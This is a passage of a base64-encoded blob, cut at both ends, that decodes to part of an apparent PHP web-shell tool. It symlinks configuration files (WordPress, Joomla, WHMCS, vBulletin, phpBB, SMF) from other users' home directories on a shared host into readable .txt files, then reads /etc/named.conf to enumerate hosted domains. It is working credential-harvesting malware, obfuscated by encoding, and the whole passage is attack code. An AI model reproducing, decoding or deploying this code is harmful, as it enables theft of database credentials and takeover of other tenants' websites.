hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJfQoKCQkJCSRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQoJCQkJaWYoJGQwbWFpbnMpCgkJCQl7CgkJCQkJbWtkaXIoJGZuKTsKCQkJCQljaGRpcigkZm4pOwoJCQkJCQkJCQkJCgkJCQkJZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKQoJCQkJCXsKCQkJCQkJaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKQoJCQkJCQl7CgkJCQkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKCQkJCQkJCWZsdXNoKCk7CgkJCQkJCQkJCgkJCQkJCQlpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMikKCQkJCQkJCXsgCgkJCQkJCQkJJHVz